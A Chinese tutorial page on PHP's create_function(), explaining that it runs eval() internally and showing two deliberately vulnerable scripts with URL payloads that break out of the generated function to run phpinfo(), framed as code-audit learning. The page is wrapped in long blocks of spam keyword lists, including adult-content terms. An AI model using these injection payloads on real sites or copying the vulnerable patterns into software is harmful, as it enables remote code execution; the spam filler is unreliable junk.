日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

PHP create_function()函數應用實例詳解

瀏覽:224日期:2022-06-06 09:53:37
目錄
  • 前言
  • create_function()簡介
  • 函數功能
  • 代碼注入實例
    • 0x01
    • 0x02

前言

一直遇到過這個 函數,但是不知道怎么利用 這回學習一下這個函數

create_function()簡介

適用 PHP4>4.0.1 PHP 5 PHP7

語法:
create_function(string $args, string $code)
string $args 聲明的函數變量部分
string $code 執行的方法代碼部分

函數功能

<?php$newfunc = create_function("$a,$b", "return "ln($a) + ln($b) = " . log($a * $b);");echo "New anonymous function: $newfunc\n";echo $newfunc(2, M_E) . "\n";?>

分析:

create_function() 會創造一個匿名函數 (lambda樣式) 此處創建了一個叫 lamvda_1 的函數, 在第一個 echo 中 顯示名字, 并在第二個echo 語句中執行了 此函數。

create_function() 函數 會在內部 執行 eval() , 我們發現是執行了 后面的 return 語句,屬于create_function() 中的第二個參數 string $code 的位置

因此,上述匿名函數的創建與執行過程等價于:

<?phpfunction lambda_1($a,$b){    return "ln($a) + ln($b) = " . log($a * $b);}?>

create_function( ) 函數在代碼審計中,主要用來查找項目中的代碼注入和回調后門的情況,熟悉了執行流程, 可以實現對代碼注入的 payload 構造,從而 進行漏洞挖掘和找出存在缺陷

代碼注入實例

0x01

<?phperror_reporting(0);$sort_by = $_GET["sort_by"];$sorter = "strnatcasecmp";$databases=array("1234","4321");$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by . ""], $b["" . $sort_by . ""]);";usort($databases, create_function("$a, $b", $sort_function));?>

payload:

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

還原實際的組合過程:

$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*

匿名函數實際的執行:

function niming($a,$b){return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*}

$sort_by 是我們傳入的值。

回車換行整理一下:

function niming($a,$b){return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*}

0x02

<?php$c=$_GET["c"];$lambda=create_function("$a,$b","return (strlen($a)-strlen($b)+" . "strlen($c));");$array=array("reall long string here,boy","this","midding lenth","larget");usort($array,$lambda);print_r($array);?>

payload:

http://localhost/test2.php?c=1));}phpinfo();/*

還原實際的組合過程:

$lambda=create_function("$a,$b","return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函數實際的執行:

 function ft($a,$b){    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }

換行整理:

 function ft($a,$b){    return (strlen($a)-strlen($b)+" . "strlen(1));    }    phpinfo();    /*)); }

到此這篇關于PHP create_function()函數應用實例詳解的文章就介紹到這了,更多相關PHP create_function()函數內容請搜索以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持!

標簽: PHP
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
鲁大师影院一区二区三区| 亚洲精品91| 美国三级日本三级久久99 | 国产欧美激情| 国产日韩欧美高清免费| 国产日韩欧美三级| 国产精品va视频| 精品国产aⅴ| 在线亚洲人成| 亚洲福利专区| 中日韩男男gay无套| 中文字幕亚洲在线观看| 日韩一区二区三免费高清在线观看 | 国产欧美日韩| 国产精品**亚洲精品| 精品视频免费| 成人午夜精品| 一本色道精品久久一区二区三区| 老鸭窝毛片一区二区三区| 亚洲视频二区| 欧美日韩四区| 日欧美一区二区| 久久精品99国产精品| 国产伦理一区| 国产一区二区亚洲| 欧美日韩国产v| 宅男噜噜噜66国产日韩在线观看| 99久久久国产精品美女| 午夜国产精品视频免费体验区| 亚洲成人三区| 亚洲涩涩av| 国产精品毛片久久久| 成人国产精品久久| 国户精品久久久久久久久久久不卡| 亚洲男女自偷自拍| 日韩高清在线观看一区二区| 麻豆精品视频在线观看免费| 国产欧美一区二区三区精品酒店| 久久视频一区| 蜜臀a∨国产成人精品| 欧美啪啪一区| 美女福利一区二区三区| 婷婷激情图片久久| 日韩福利视频导航| 极品av在线| 爽爽淫人综合网网站| 国产精品久av福利在线观看| 日韩伦理一区| 中文视频一区| 婷婷综合六月| 国产精品欧美在线观看| 婷婷亚洲五月| 日韩精品一级中文字幕精品视频免费观看 | 成人影视亚洲图片在线| 免费黄色成人| 亚州国产精品| 国产欧美一区二区三区精品酒店| 蜜乳av另类精品一区二区| 国产精品免费精品自在线观看| 久久九九99| 欧美一区激情| 亚洲特色特黄| 国产欧美日韩影院| 91高清一区| 欧美激情在线精品一区二区三区| 亚洲激情五月| 久久精品日韩欧美| 免费看精品久久片| 亚洲综合电影| 国产麻豆一区二区三区 | 激情欧美国产欧美| 亚洲综合欧美| 国产一区二区视频在线看| 另类激情亚洲| av在线最新| 午夜宅男久久久| 国产精品99一区二区三区| 亚洲最新av| 日韩不卡免费高清视频| 91精品国产自产观看在线| 五月天久久久| 精品国产三区在线| 亚洲精品亚洲人成在线观看| 92国产精品| 国产精品美女在线观看直播| 久久高清一区| 亚洲先锋成人| 久久久久久久欧美精品| 精品日本视频| 日韩一区二区三区在线看| 999精品在线| 国产不卡精品| 国产精品一区三区在线观看| 蜜臀a∨国产成人精品| 在线一区视频观看| 久久av综合| 国产探花在线精品一区二区| 免费黄网站欧美| 九九综合在线| 日韩久久一区二区三区| 麻豆视频一区| 日本少妇一区二区| 日韩专区欧美专区| 欧美成人亚洲| 欧美日韩视频免费观看| 九九久久国产| 中文字幕日本一区| 国产在线视频欧美一区| 999国产精品| 久久99影视| 97久久超碰| 日本一区免费网站| 欧美综合二区| 99成人在线| 亚州av乱码久久精品蜜桃| 久久美女性网| 99精品小视频| 999精品在线| 午夜精品成人av| 日韩在线短视频| 日韩欧美精品一区| 日韩在线高清| 欧洲av不卡| 欧美天堂视频| se01亚洲视频| 国产综合色区在线观看| 天堂日韩电影| 秋霞影视一区二区三区| 91精品国产乱码久久久久久久| 久久久久久久久99精品大| 久久婷婷一区| 欧美性感美女一区二区| 一区二区小说| 亚洲少妇一区| 亚洲欧洲国产精品一区| 一区二区不卡| 日本va欧美va精品| 久久激情av| 美女免费视频一区| 精品视频91| 波多野结衣久久精品| 成人午夜国产| 亚洲欧美视频一区二区三区| 偷拍亚洲精品| 国产精品大片| 亚洲性色av| 亚洲综合欧美| 7777精品| 精品欧美日韩精品| 99视频精品视频高清免费| 欧洲毛片在线视频免费观看| 国产视频亚洲| 日本午夜精品久久久久| 国内精品麻豆美女在线播放视频| 日韩激情一区| 夜夜嗨一区二区三区| 婷婷综合福利| 麻豆91小视频| 欧美成人a交片免费看| 欧美日韩国产亚洲一区| 日韩毛片一区| 黄色在线网站噜噜噜| 亚洲少妇在线| 国产欧美69| 九九色在线视频| 日韩在线卡一卡二| 国产精品伊人| 亚洲高清成人| 91成人福利| 欧美日韩国产观看视频| 麻豆91精品| 欧美国产精品| 婷婷中文字幕一区| 国产欧美日韩视频在线| 亚洲1234区| 日韩精品免费观看视频| 超级白嫩亚洲国产第一| 亚洲欧洲日本mm| 国产精品久久久久久久久久久久久久久 | 久久精品一区二区三区中文字幕| а√天堂8资源中文在线| 亚洲一区亚洲| 美女国产一区二区三区| 欧美日韩国产探花| 国产精品成人**免费视频| 婷婷丁香综合| 免费一区二区三区在线视频| 国产亚洲在线| 国语精品一区| 综合一区av| 麻豆精品蜜桃| 久久精品xxxxx| 欧美日韩免费观看一区=区三区| 国产精品v一区二区三区| 亚洲一级在线| av免费不卡国产观看| 视频国产精品| 欧美va天堂| 电影91久久久| 日韩和欧美一区二区三区|